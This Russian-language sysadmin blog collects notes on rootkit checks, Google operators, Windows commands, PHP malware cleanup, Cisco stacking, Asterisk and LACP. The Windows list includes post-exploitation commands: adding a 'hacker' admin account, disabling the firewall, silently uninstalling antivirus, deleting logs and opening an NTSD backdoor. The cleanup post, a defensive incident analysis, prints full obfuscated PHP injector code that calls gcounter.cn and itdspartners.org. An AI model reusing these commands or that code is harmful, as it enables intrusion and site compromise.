вторник, 3 июля 2012 г.

VBR-руткит (Trojan.Mayachok) и как его обнаружить

Пуск -> выполнить -> cmd
echo Hello >null
если ничего не, то система не заражена, в противном случае вы увидите
The system can not find the file specified.

(Источник статья VBR-руткит (Александр Єккерт) Хакер 02/157/2012 - стр. 80)

четверг, 28 июня 2012 г.

поиск через google.com

1. Исключение из Google поиска
Чтобы исключить из поисковой выдачи какое либо слово, фразу, символ и т.п., достаточно перед ним поставить знак "-” (минус), и оно не появится в результатах поиска.
Для примера, я ввёл в строку поиска следующую фразу: "бесплатный хостинг – ru” и в поисковой выдаче нет ни одного .ru сайта, кроме оплаченных рекламных объявлений.

2. Поиск по синонимам
Используйте символ "~” для поиска схожих слов к выбранному. Например в результате выражения: "~лучшие фильмы -лучшие" вы увидите все ссылки на страницы, содержащие синонимы слова "лучшие”, но ни одно из них не будет содержать этого слова.

3. Неопределённый поиск
На тот случай, если вы не определились с конкретным ключевым словом для поиска, поможет оператор "*”.
Например фраза "лучший редактор * изображений” подберёт лучшие редакторы для всех типов изображений, будь то цифровые, растровые, векторные и т.д.

4. Поиск на выбор из вариантов
Используя оператор "|”, можно осуществить Google поиск по нескольким сочетаниям фраз, заменяя несколько слов в различных местах.
Например, введём фразу "купить чехол | ручку” выдаст нам страницы, содержащие либо "купить чехол”, либо "купить ручку”

5. Значение слова
Чтобы узнать значение того или иного слова, достаточно ввести в поисковую строку "define:” и после двоеточия искомую фразу.

6. Точное совпадение
Для нахождения точного совпадения поисковой выдачи с запросом достаточно заключить ключевики в кавычки.

7. Поиск по определённому сайту
Чтобы осуществить поиск ключевых слов только по одному сайту, достаточно прибавить к искомой фразе следующий синтаксис – "site:”.

8. Обратные ссылки
Чтобы узнать расположение ссылок на интересующий сайт, достаточно ввести следующий синтаксис: "links:” и далее адрес интересующего сайта.

9. Конвертер величин
Поисковая система Google также умеет конвертировать величины по запросу пользователя.
Например, нам нужно узнать, сколько составляет 1 кг в фунтах. Набираем следующий запрос: "1 кг в фунтах”

10. Конвертер валют
Для того, чтобы узнать курс валют по официальному курсу, набираем следующий поисковой запрос: "1 [валюта] в [валюта]”

11. Время по городу
Если хотите узнать время по какому либо городу, то используйте синтаксис: "time” или русский аналог "время" и название города.

12. Google калькулятор
Google умеет считать онлайн! Достаточно вбить пример в строку поиска и он выдаст результат.

13. Поиск по типам файлов
Если вам необходимо найти что-то по конкретному типу файла, то у Google есть оператор "filetype:” который осуществляет поиск по заданному расширению файла.

14. Поиск кэшированной страницы
У Google есть собственные сервера, где он хранит кэшированные страницы. Если нужна именно такая, то воспользуйтесь оператором: "cached:”

15. Прогноз погоды по городу
Ещё одним оператором поиска у Google является оператор погоды. Достаточно вбить "weather” и город, как вы увидите, будет у вас дождь или нет
Изображение

16. Переводчик
Можно переводить слова сразу, не отходя от поисковика. За перевод отвечает следующий синтаксис: "translate [слово] into [язык]”

понедельник, 7 мая 2012 г.

windows консоль полезные команды

1). работа с сетью


ipconfig /displaydns - локальный DNS-кеш
netstat -nabo - все сетевые подключения (b - имена процессов, которые установили эти соединения, нужны административные права)
netstat -s -p [tcp|udp|icmp|ip] - статистика и список соединений по протоколу
netstat -r (route print) - таблица маршрутизации
netstat -na | findstr :465 - аналог grep для соединение на определенном порту
net view - SMB хосты сети
net user balabuh /domain - сведения о пользователе balabuh, /domain если он доменный (членство в группах, когда последний раз логинился и т.д.)
net accounts /domain - политику паролей в домене, локально без ключа в конце
net localgroup admins /domain - членов группы admins, локально без ключа в конце
net config workstation - вся информация о пк и пользователе
net share - отрытые шары на пк
type %WINDIR%\System32\drivers\etc\hosts - аналог сat для файла

2). иформация о системе

whoami /all - аналог линуха whoami (также членство в группах, привилегии)
qwinsta - кто работает с сервером удаленно по RDP
ver - версия ядра (в линухе uname)
set - вывод переменных окружения
systeminfo (XP+) - куча инфы о системе
qprocess* - список процессов
qappsrv - список терминальных сервисов
schtasks /query /fo csv /v > %TEMP% - выводит все запланированные задания в csv формате
at - запланированные задачи. Ее можно использовать для поднятия привилегий (нужен администратор) до SYSTEM -> at 15:00 /interactive "d:\temp\1.bat"
schtasks (XP+) - выводит запланированные задания (не требует админских прав в отличии от at)
net start (sc query) - запущенные сервисы
sc getkeyname "имя службы" - получаем key name нужного нам сервиса
sc queryex "полученный key name" - получаем инфу о PID, статус сервиса и т.д.
tasklists (XP+) - список процессов
taskkill [/f] /pid
taskkill [/f] /im - убивает процесс по имени или PID
fsutil fsinfo drives - диски в системе
gpresult /z - большой отчет о групповых политиках

3). работа с логами

wevtutil el (win2008) - список логов  
wevtutil qe (win2008) - конкретный лог
wevtutil cl (win2008) - удаление лога
del %WINDIR%\*.log /a /s /q /f - то же только все логов из папки виндовс

4). удаленный доступ
%windir%\System32\cmd.exe /c "%SystemRoot%\system32\Dism.exe" /online /get-features - права админа, позволяет включить telnet, ftp-клиент на 7, VistaSP1, 2008
%windir%\System32\cmd.exe /c "%SystemRoot%\system32\Dism.exe" /online /enable-features /featurename:TFTP - включаем TFTP, ftp-клиент (tftp.exe) можем использовать для загрузки файлов в систему
Ntsd-server tcp:port=1337 cal.exe - включаем отладчик (ниже висты, находится в system32/ntsd.exe). То есть подключаем отладчик к процессу какому-нибудь (1 команда), конектимся к нему (2 команда) и вводим .shell и получаем доступ к командной строке (NTSD Backdoor)
Ntsd-remote tcp:server=,port=1337
net use - подключение шар

5). реестр

reg save HKLM\Security security.hive - сохраняем ветку в файл. (SAM - нужны права админа)
red add [\\TargetIPaddr\][RegDomain][\Key] - добавление ключа в реестр (RED ADD HKLM\Software\MyCo /v Date /t REG_BINARY /d fe123edr)
reg export [RegDomain]\[Key][FileName] - импорт в реестр
reg query [\\TargetIPaddr\][RegDomain][\Key] /v [Valuename!] - поиск по реестру 

6). поиск файлов

tree C:\ /f /a > C:\output.txt - вывод директорий в виде дерева в файл
dir \ /s /b | find /l "search string" -  ищет по директориям корня (\) и поддиректориям (/s) используя формат base (/b) строку (может быть в названии или пути к файлу)

7). WMIC (Windows Management Interface console)

wmic baseboard get Manufacturer, Model, Product, SerialNumber, Version - объектом может быть также (computersystem, bios, etc), здесь снимаем инфу о материнке
wmic nicconfig get caption, macaddress, ipaddress, DefaultIPGateway - получение инфы о сетевых адаптерах: названия, МАС-адреса и т.д.
wmic nicconfig where "IPEnabled"='TRUE' and DNSDomain IS NOT NUL" get DefaultIPGateway, DHCPServer, DNSDomain, DNSHostName, DNSServerSearchOrder, IPAddress, IPSubnet, MACAddress, WINSEenableLMHostsLookup, WINSPrimaryServer, WINSSEcondaryServer /format:list - подробная инфа об активных сетевых адаптерах
wmic printer get Caption, Default, Direct, Description, Local, Shared, Sharename, Status - получение списка принтеров с их параметрами (сетевые имена также)
wmic os get dootdevice, caption, csname, currenttimezone, installdate, servicepackmajorversion, servicepackminorversion, systemdrive, version, windowsdirectory /format:list - извлечение инфы о системе
wmic product get Caption, InstallDate, Vendor - список установленных программ
wmic path win32_product where "name = 'HP Software Update'" call Uninstall - удаление программы HP Software Update

8). воздействие на систему
net user hacker hacker add - добавление пользователя hacker с таким же паролем
net localgroup administartors /add hacker (hacker /add) - добавление пользователя в групу
net share nothing$=C:\/grant:hacker, FULL /unlimited - расшарить C на полные права для пользователя
net user username /active:yes /domain - разблокировать пользователя
netsh firewall set optmode disable - выключить виндовый фаервол
wmic product get name /value - список софта
wmic product where name="XXX" call uninstall /nointeractive - удаление проги незаметно (например антивирус)
rundll32.exe, user32.dll, LockWorkStation - лочит экран пользователя

(источник Хакер 01/2012 стр. 46 "Правила постэкплуатации")

пятница, 30 марта 2012 г.

поиск вируса на сайте с помощью отличных утилит tcpdump и strace

смотрим куда конектится сервер (эти левые конекты спалил случайно по netstat -ant)
tcpdump -n src host 19.169.88.18 and dst port 80

смотрим процесс, который это делает
lsof -i | grep 77.72.133.152

php      20137 generation    4u  IPv4 4057556730      0t0  TCP node.generationua.com:56272->77.72.133.152:http (SYN_SENT)
php      20139 generation    4u  IPv4 4057558719      0t0  TCP node.generationua.com:56373->77.72.133.152:http (SYN_SENT)

так можно посмотреть какая команда выполняется
cat /proc/20137/cmdline

можно также так
ps aux | grep php

generation  20170  6.3  4.3 165940 16436 ?        S    10:56   0:00 /usr/bin/php-cgi php
generation  20172  6.6  4.4 165888 16732 ?        S    10:56   0:00 /usr/bin/php-cgi php

а данная команда покажет даже родительский процесс
ps auxf

apache   19876  0.0  2.6 303452 10040 ?        S    10:41   0:00  \_ /usr/sbin/httpd
generation  20257  1.1  4.3 165924 16568 ?        S    11:00   0:00  |   \_ /usr/bin/php-cgi php
apache   20132  0.0  2.6 303452 10032 ?        S    10:53   0:00  \_ /usr/sbin/httpd
generation  20254  0.4  4.6 166672 17456 ?        S    11:00   0:00  |   \_ /usr/bin/php-cgi php
apache   20182  0.0  2.6 303452  9988 ?        S    10:56   0:00  \_ /usr/sbin/httpd
generation  20252  0.3  4.4 166152 16856 ?        S    11:00   0:00      \_ /usr/bin/php-cgi php

Переустановка апача не помогла, по подсказке мудрого другана поменял строку tcpdump
tcpdump -nN -A -s 0 src host 19.169.88.18 and dst port 80
где
-s 0 - захватывает весь пакет а не 64 байта
-A - печатать данные из пакетов в ANSI (-x hex)
-N - не печатать доменную часть имени

E..H.d@.@.......MH...k.P.2...F..P...J...GET /lnk.php?c=utf&s= HTTP/1.0

08:55:30.694531 IP 19.169.88.18.45931 > 77.72.133.152.http: P 32:58(26) ack 1 win 5840
....MH...k.P.2...F..P...3...Host: itdspartners.org

а также

08:59:24.018846 IP 19.169.88.18.33997 > 92.241.161.54.http: P 0:100(100) ack 1 win 46
E...*>@.@.......\..6...Pz...n6pj...........
.Z...9..GET http://gcounter.cn/info.php?i=19.169.88.18 HTTP/1.0

то есть запросы вируса выглядят
http://gcounter.cn/info.php?i=
itdspartners.org/lnk.php?c=utf&s=

выполнил поиск по коду
find ./ -type f -exec grep -nH -i gcounter.cn {} \;
где
-n - печатает строку в файле где найден код
-H - печатает имя файла

ничего не нашло, попробовал по совету другана такие запросы
find ./ -type f -exec grep -nH -i info.php?i= {} \;
find ./ -type f -exec grep -nH -i file_get_contents\ \(\'http\:\/\/ {} \;
find ./ -type f -exec grep -nH -i gcounter.cn {} \;
find ./ -type f -exec grep -nH -i file_get_contents {} \; | grep http

нифига не нашло, попробовал

strace -ff -tt -p 16344 -o 1.txt

grep -i 92.241.161.54 *
1.txt.17979:15:19:44.639154 connect(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("92.241.161.54")}, 16) = -1 EINPROGRESS (Operation now in progress)

less 1.txt.17979

перед строкой

15:19:44.639154 connect(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("92.241.161.54")}, 16) = -1 EINPROGRESS (Operation now in progress)

читался файл

15:19:44.628456 open("/var/www/generationua.com/shop/quantityorder_max.inc.php", O_RDONLY) = 3

в нем есть часть

$cjyeimkm = base64_decode("aWY.....X0=");
function wbbehkjtmnq()
{
    $orb = "ipj";
    $qsodot = "ykt";
    $ddlaff = "rsir";
    $adj = "evyew";
    $qtvu = "wyg";
}
eval($cjyeimkm);

расшифровал base64_decode так

perl -MMIME::Base64 -e 'print decode_base64("aWY.....X0=");'

получилось тело вируса а в нем так же была еще одна зашифрованная часть

}$vrnan_yur=qqtk_vabc(base64_decode("aHR0cDovL2djb3VudGVyLmNuL2luZm8ucGhw")

после

perl -MMIME::Base64 -e 'print decode_base64("aHR0cDovL2djb3VudGVyLmNuL2luZm8ucGhw");'
http://gcounter.cn/info.php

мы наконец получили gcounter.cn за которым так долго охотились

код вируса

$cjyeimkm = base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCJvYl9zdGFydCIpICYmICFmdW5jdGlvbl9leGlzdHMoInBuanpra195d2liaiIpICYmICFmdW5jdGlvbl9leGlzdHMoInp6aW9fcWV3cGciKSAmJiAhZnVuY3Rpb25fZXhpc3RzKCJxcXRrX3ZhYmMiKSAmJiAhaXNzZXQoJEdMT0JBTFNbImVlZCJdKSAmJiBAc3RycG9zKHN0cnRvbG93ZXIoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKSwiZ29vZ2xlYm90IikgPT09IGZhbHNlICYmIEBzdHJwb3Moc3RydG9sb3dlcigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0pLCJtc25ib3QiKSA9PT0gZmFsc2UgJiYgQHN0cnBvcyhzdHJ0b2xvd2VyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSksInlhaG9vIikgPT09IGZhbHNlICYmICFpc3NldCgkX0NPT0tJRVsiY29va2llX3Rlc3QiXSkgKXskR0xPQkFMU1siZWVkIl0gPSAxO3NldGNvb2tpZSgiY29va2llX3Rlc3QiLCAxLCB0aW1lKCkrMzYwMCoyNCoyLCAiLyIpOyAgICAgICAgICAgIGZ1bmN0aW9uIHp6aW9fcWV3cGcoJGd6ZW5jb2RlX2FyZykKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAkeCA9IEBvcmQoQHN1YnN0cigkZ3plbmNvZGVfYXJnLCAzLCAxKSk7CiAgICAgICAgICAgICAgICAgICAgJHNoaWZ0ID0gMTA7CiAgICAgICAgICAgICAgICAgICAgJHNoaWZ0MiA9IDA7CiAgICAgICAgICAgICAgICAgICAgaWYoICR4JjQgKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHVucGFjaz1AdW5wYWNrKCJ2Iiwgc3Vic3RyKCRnemVuY29kZV9hcmcsIDEwLCAyKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICR1bnBhY2s9JHVucGFja1sxXTsgJHNoaWZ0Kz0gMiArICR1bnBhY2s7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmKCAkeCY4ICkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzaGlmdCA9IEBzdHJwb3MoJGd6ZW5jb2RlX2FyZywgY2hyKDApLCAkc2hpZnQpICsgMTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYoICR4JjE2ICkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzaGlmdCA9IEBzdHJwb3MoJGd6ZW5jb2RlX2FyZywgY2hyKDApLCAkc2hpZnQpICsgMTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYoICR4JjIgKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNoaWZ0ICs9IDI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRnemlwID0gQGd6aW5mbGF0ZShAc3Vic3RyKCRnemVuY29kZV9hcmcsICRzaGlmdCkpOwogICAgICAgICAgICAgICAgICAgIGlmKCRnemlwID09PSBGQUxTRSkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICRnemlwID0gJGd6ZW5jb2RlX2FyZzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRnemlwOwogICAgICAgICAgICAgICAgfQoKICAgIGZ1bmN0aW9uIHFxdGtfdmFiYyggJHVybCApIHsKCi8qICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygiY3VybF9pbml0IikpCiAgICAgICAgewogICAgICAgICAgJGNoID0gY3VybF9pbml0KCR1cmwpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7CiAgICAgICAgICAgICRjdXJsX3Jlc3VsdCA9IGN1cmxfZXhlYyAoJGNoKTsKICAgICAgICAgICAgY3VybF9jbG9zZSgkY2gpOwogICAgICAgICAgICBpZiAoJGN1cmxfcmVzdWx0KSByZXR1cm4gJGN1cmxfcmVzdWx0OwogICAgICAgIH0KCiAgICAgICAgaWYgKEBpbmlfZ2V0KCJhbGxvd191cmxfZm9wZW4iKSkKICAgICAgICB7CiAgICAgICAgICAgICRmaWxlX3Jlc3VsdCA9IEBmaWxlX2dldF9jb250ZW50cygkdXJsKTsKICAgICAgICAgICAgaWYgKCRmaWxlX3Jlc3VsdCkgcmV0dXJuICRmaWxlX3Jlc3VsdDsKICAgICAgICB9ICAgKi8KCiAgICAgICAgJHVybF9pbmZvID0gcGFyc2VfdXJsKCR1cmwpOwogICAgICAgICRxdWVyeSAgPSAiR0VUICR1cmwgSFRUUC8xLjBcclxuIjsKICAgICAgICAkcXVlcnkgLj0gIkhvc3Q6ICIgLiAkdXJsX2luZm9bImhvc3QiXSAuICJcclxuIjsKICAgICAgICAkcXVlcnkgLj0gIkNvbm5lY3Rpb246IENsb3NlXHJcblxyXG4iOwogICAgICAgICRmcCA9IEBmc29ja29wZW4oJHVybF9pbmZvWyJob3N0Il0sIDgwLCAkZXJybm8sICRlcnJzdHIsIDUpOwogICAgICAgIGlmICghJGZwKSByZXR1cm4gZmFsc2U7CiAgICAgICAgQGZwdXRzKCRmcCwgJHF1ZXJ5KTsKICAgICAgICBAc29ja2V0X3NldF90aW1lb3V0ICgkZnAsIDUsIDApOwogICAgICAgICRzX3JldGNvZGUgPSBAc3Vic3RyIChAZmdldHMgKCRmcCwgNDA5NiksIDksIDMpOwogICAgICAgIGlmICgkc19yZXRjb2RlezB9IDw+ICIyIikge3JldHVybiBGQUxTRTt9CiAgICAgICAgd2hpbGUgKCEgQGZlb2YgKCRmcCkpCiAgICAgICAgewogICAgICAgICAgICBpZiAoIlxyXG4iID09PSBAZmdldHMgKCRmcCwgNDA5NikpIHticmVhazt9CiAgICAgICAgfQogICAgICAgICRzb2NrZXRfcmVzdWx0ID0gIiI7CiAgICAgICAgd2hpbGUgKCEgQGZlb2YgKCRmcCkpIHsKICAgICAgICAgICAgJHNvY2tldF9yZXN1bHQgLj0gQGZnZXRzICgkZnAsIDQwOTYpOwogICAgICAgIH0KICAgICAgICBAZmNsb3NlKCRmcCk7CiAgICAgICAgaWYgKCRzb2NrZXRfcmVzdWx0KSByZXR1cm4gJHNvY2tldF9yZXN1bHQ7CiAgICB9CiAgICBmdW5jdGlvbiBwbmp6a2tfeXdpYmooJGh6cnd3KXtyZXR1cm4gcHJlZ19yZXBsYWNlKCIjKDwvdGFibGU+Lio8dGQ+fDwvdGFibGU+fDwvZGl2PltePD5dKjxkaXZbXjw+XSo+fDwvYm9keT4pI2lzIiwgIiQxIiAuIHZybmFuX3l1ciwgenppb19xZXdwZygkaHpyd3cpLCAxKTsKICAgIH0kdnJuYW5feXVyPXFxdGtfdmFiYyhiYXNlNjRfZGVjb2RlKCJhSFIwY0RvdkwyZGpiM1Z1ZEdWeUxtTnVMMmx1Wm04dWNHaHciKSAuICI/aT0iIC4gJF9TRVJWRVJbIlJFTU9URV9BRERSIl0pO0BwcmVnX21hdGNoKCIjPG9wZW4+KC4qKTwvY2xvc2U+IyIsICR2cm5hbl95dXIsICRtYXRjaGVzKTskdnJuYW5feXVyPSBpc3NldCgkbWF0Y2hlc1sxXSkgPyAkbWF0Y2hlc1sxXSA6ICIiO2lmICgkdnJuYW5feXVyKSB7ZGVmaW5lKCJ2cm5hbl95dXIiLCR2cm5hbl95dXIpOyBvYl9zdGFydCgicG5qemtrX3l3aWJqIik7fX0=");
function wbbehkjtmnq()
{
    $orb = "ipj";
    $qsodot = "ykt";
    $ddlaff = "rsir";
    $adj = "evyew";
    $qtvu = "wyg";
}
eval($cjyeimkm);

а также

find ./ -type f -exec grep -nH -i itdspartners.org {} \;

./test/index.php:68:    $u4ain=@file_get_contents ("http://itdspartners.org/lnk.php?c=utf&s=");
./test/index.php:73:            $u4ain=@file_get_contents ("http://itdspartners.org/test.php");
./shop/index.php:68:    $u4ain=@file_get_contents ("http://itdspartners.org/lnk.php?c=utf&s=");
./shop/index.php:73:            $u4ain=@file_get_contents ("http://itdspartners.org/test.php");

код вируса

if(@$_COOKIE['act']!=1){      
    $u4ain=@file_get_contents ("http://itdspartners.org/lnk.php?c=utf&s=");
    echo $u4ain;
}
if(@$_COOKIE['act']!=1){          
    if(getenv('HTTP_REFERER')!=""&&!stristr(getenv('HTTP_USER_AGENT'),"bot")&&!stristr(getenv('HTTP_USER_AGENT'),"google")&&!stristr(getenv('HTTP_USER_AGENT'),"yandex")){
        $u4ain=@file_get_contents ("http://itdspartners.org/test.php");
        echo $u4ain;
    }
}
?>

как видите отличные утилиты strace, tcpdump позволяют нам очень быстро найти скрипты вируса и удалить его с сайта. Надеюсь кому-то пригодится. Как видите я по моей неопытности даром переставлял апач нужно было правильно запустить tcpdump c -A ключем и включить трейс и тогда бы скрипты выруса были вычеслены очень быстро. Преимущество данного метода налицо по сравнению с другими статьями в интернете - например
а). не нужно копировать сайт на локальную машину и там искать зараженные файли а потом копировать сайт обратно
б). мы сразу видим зараженный файл
в). даже если вирус использует кодирование это его не спасает от утилиты strace, которая все равно находит зараженные файл.

P.S. вирус был отослан на анализ clamav и kasperkiy 31.04 через их сайты, проверка 04.04 на virustotal.com показала что clamav класифицирует вирус как Trojan.PHP-34 (второй Trojan.PHP-35). Касперский до сих пор как и другие вендоры в базу вирусов данный тип вируса не добавил.
Также можете использовать данный скриптик для поиска шелов у себя на сайте
https://github.com/emposha/PHP-Shell-Detector

четверг, 16 февраля 2012 г.

cisco switch stack

Есть 2 свича в стеке нужно добавить 3. У свичей должны быть одинаковы ios, sdm режим, а также нужно чтобы приоритет мастер свича был выше присоединяемого
1). на стеке
s-1(config)#switch 3 provision ws-c3750g-12s
теперь команда
s-1#sh switch
                                               Current
Switch#  Role      Mac Address     Priority     State
--------------------------------------------------------
*1       Master    0017.0e15.9e00     1         Ready            
 2       Slave     0018.199f.3580     1         Ready            
 3       Slave     0000.0000.0000     0         Provisioned

показывает нам третий свич без маков поскольку мы его еще не подключили.
2). Проверяем ios
s-1#sh ver

Switch   Ports  Model              SW Version              SW Image          
------   -----  -----              ----------              ----------        
*    1   52     WS-C3750-48TS      12.2(25)SEA             C3750-ADVIPSERVICESK
      2   52     WS-C3750-48TS      12.2(25)SEA             C3750-ADVIPSERVICESK

s-1#dir

    4  -rwx     7277488   Mar 1 1993 17:11:25 +02:00  c3750-advipservicesk9-mz.122-25.SEA.bin

проще всего его закинуть на tftp (copy flash tftp) а оттуда забрать его на новый свич (copy tftp flash) и сделать загрузочным (boot system c3750-advipservicesk9-mz.122-25.SEA.bin - проверка что загрузочным стал другой образ - sh boot)
3). Проверяем sdm и делаем его таким же на новом свиче
s-1#sh sdm prefer
 The current template is "desktop default" template.
 The selected template optimizes the resources in
 the switch to support this level of features for
 8 routed interfaces and 1024 VLANs.

  number of unicast mac addresses:                  6K
  number of IPv4 IGMP groups + multicast routes:    1K
  number of IPv4 unicast routes:                    8K
    number of directly-connected IPv4 hosts:        6K
    number of indirect IPv4 routes:                 2K
  number of IPv4 policy based routing aces:         0
  number of IPv4/MAC qos aces:                      512
  number of IPv4/MAC security aces:                 1K

на новом свиче
sdm prefer default
4). делаем приоритет нового свича наименьшим. Используем
s-1#sh switch
                                               Current
Switch#  Role      Mac Address     Priority     State
--------------------------------------------------------
*1       Master    0017.0e15.9e00     1         Ready            
 2       Slave     0018.199f.3580     1         Ready            
 3       Slave     0000.0000.0000     0         Provisioned

делаем на нашем мастере 15 (наивысший)
switch 1 priority 15
и проверяем что на новом приоритет ниже и не равен нашему мастеру (в принцыпе все)

Результат

s-1#sh switch
                                               Current
Switch#  Role      Mac Address     Priority     State
--------------------------------------------------------
*1       Master    0017.0e15.9e00     15        Ready              
 2       Slave     0018.199f.3580     1         Ready              
 3       Slave     0018.7346.8a80     1         Ready


вторник, 14 февраля 2012 г.

asterisk console и как из нее получить логи в файлик

Астериск хоть и ведет логи на сообщение консоли там получить в принципе нельзя, так как включение debug в /etc/asterisk/logger.conf  для
console => notice,warning,error,debug
или
full => notice,warning,error,debug,verbose
толку дает 0.
Для этого консоль запускаем так 
asterisk -rvvvvv 2>&1 | tee -a console.log
ключ -T ключей консоли время в лог не добавляет поэтому нужен сторонний скрипт для добавление времени в лог,  например такой (ключ -a команды tee также очень важен поскольку позволяет эти штампы времени в конечном логе увидеть, без него они будут видны используя tail -f но less, more, vim их вам не покажут)
cat asterisk.sh
#!/bin/bash
while true; do
date >> console.log
sleep 10
done
В принципе все пример вывода смотрим ниже (штамп времени выделен жирным):
root@pbxnode0:~# tail -f console.log
> doing dnsmgr_lookup for 'inbound4.vite.net'
> doing dnsmgr_lookup for 'callcentric.com'
> ast_get_srv: SRV lookup for '_sip._UDP.call.com' mapped to host alpha1.call.com, port 5080
pbxnode0*CLI> Fri Feb 10 14:12:31 EST 2012


пятница, 3 февраля 2012 г.

LACP (агрегирование каналов) между cisco ios and cisco catos

Агрегирование каналов (агрегация каналов, англ. link aggregation) — технология, которая позволяет объединить несколько физических каналов в один логический. Такое объединение позволяет увеличивать пропускную способность и надежность канала. Агрегирование каналов может быть настроено между двумя коммутаторами, коммутатором и маршрутизатором, между коммутатором и хостом.


Cisco ios (конфигурация)



interface GigabitEthernet2/0/1
 description EC #1
 switchport trunk encapsulation dot1q
 switchport trunk allowed vlan 1,201,256,649,650,2501
 switchport mode trunk
 channel-group 1 mode active
end
interface GigabitEthernet2/0/2
 description EC #2
 switchport trunk encapsulation dot1q
 switchport trunk allowed vlan 1,201,256,649,650,2501
 switchport mode trunk
 channel-group 1 mode active
end
interface Port-channel1
 description EC
 switchport trunk encapsulation dot1q
 switchport trunk allowed vlan 1,201,256,649,650,2501
 switchport mode trunk
end

Cisco ios (диагностика)



show etherchannel summary 
Flags:  D - down        P - in port-channel
        I - stand-alone s - suspended
        H - Hot-standby (LACP only)
        R - Layer3      S - Layer2
        U - in use      f - failed to allocate aggregator
        u - unsuitable for bundling
        w - waiting to be aggregated
        d - default port


Number of channel-groups in use: 1
Number of aggregators:           1

Group  Port-channel  Protocol    Ports
------+-------------+-----------+-----------------------------------------------
1      Po1(SU)         LACP      Gi2/0/1(P)  Gi2/0/2(P)

show etherchannel port (можно посмотреть приоритет порта)
show etherchannel port-channel 
show etherchannel detail (информация аналогична предыдущей)


show etherchannel protocol 
                Channel-group listing: 
                ----------------------


Group: 1 
----------
Protocol:  LACP


sh lacp counters 
             LACPDUs         Marker      Marker Response    LACPDUs
Port       Sent   Recv     Sent   Recv     Sent   Recv      Pkts Err
---------------------------------------------------------------------
Channel group: 1
Gi2/0/1     2621   2383     0      0        0      0         0     
Gi2/0/2     2501   2273     0      0        0      0         0     


sh lacp internal 
Flags:  S - Device is requesting Slow LACPDUs 
        F - Device is requesting Fast LACPDUs
        A - Device is in Active mode       P - Device is in Passive mode     


Channel group 1
                            LACP port     Admin     Oper    Port     Port
Port      Flags   State     Priority      Key       Key     Number   State
Gi2/0/1   SA      bndl      32768         0x1       0x1     0x35     0x3D  
Gi2/0/2   SA      bndl      32768         0x1       0x1     0x36     0x3D  


sh lacp neighbor 
Flags:  S - Device is requesting Slow LACPDUs 
        F - Device is requesting Fast LACPDUs
        A - Device is in Active mode       P - Device is in Passive mode     


Channel group 1 neighbors


Partner's information:


                  LACP port                        Oper    Port     Port
Port      Flags   Priority  Dev ID         Age     Key     Number   State
Gi2/0/1   SA      50        000a.b83c.ebc0   1s    0x642   0x71     0x3D  
Gi2/0/2   SA      50        000a.b83c.ebc0   5s    0x642   0x72     0x3D  


sh lacp sys-id 
32768,0012.d97e.8280

Cisco catos (конфигурация)



set channelprotocol lacp 2
set port lacp-channel 2/49-50 100
set trunk 2/49 on dot1q 1-1005,1025-4094
set trunk 2/50 on dot1q 1-1005,1025-4094
set port lacp-channel 2/49-50 mode active
set port lacp-channel 2/49 port-priority 50
set port lacp-channel 2/50 port-priority 50


Cisco catos (диагностика)



show lacp-channel sys-id 
System Mac: 00-0a-b8-3c-eb-c0
System priority: 32768

show lacp-channel statistics 
Port  Channel LACP Pkts   LACP Pkts Marker Pkts Marker Pkts LACP Pkts
      id      Transmitted Received  Transmitted Rewceived   InError
----- ------- ----------- --------- ----------- ----------- ---------
 2/49     441        2402      2636           0           0         0
 2/50     441        2292      2518           0           0         0


show lacp-channel traffic    
ChanId Port  Rx-Ucst Tx-Ucst Rx-Mcst Tx-Mcst Rx-Bcst Tx-Bcst
------ ----- ------- ------- ------- ------- ------- -------
   441  2/49  99.99%   4.35%  65.04%  96.46%  65.89% 100.00%
   441  2/50   0.01%  95.65%  34.96%   3.54%  34.11%   0.00%

и даже такое (на обоих портах картина одинакова)

show spantree 2/49
Edge Port:          No, (Configured) Default
Link Type:         P2P, (Configured) Auto
Port Guard:    Default
Port                     Vlan State         Role Cost      Prio Type
------------------------ ---- ------------- ---- --------- ---- -----------------
2/49-50                  1    forwarding    ROOT         3   32 P2P, PEER(STP)
2/49-50                  201  forwarding    DESG         3   32 P2P, PEER(STP)
2/49-50                  256  forwarding    DESG         3   32 P2P, PEER(STP)
2/49-50                  649  forwarding    DESG         3   32 P2P, PEER(STP)
2/49-50                  650  forwarding    DESG         3   32 P2P, PEER(STP)
2/49-50                  2501 forwarding    DESG         3   32 P2P


(источник http://xgu.ru/wiki/%D0%90%D0%B3%D1%80%D0%B5%D0%B3%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BA%D0%B0%D0%BD%D0%B0%D0%BB%D0%BE%D0%B2)


Особенности



sh mac-address-table interface Gi2/0/1
          Mac Address Table
-------------------------------------------

Vlan    Mac Address       Type        Ports
----    -----------       --------    -----

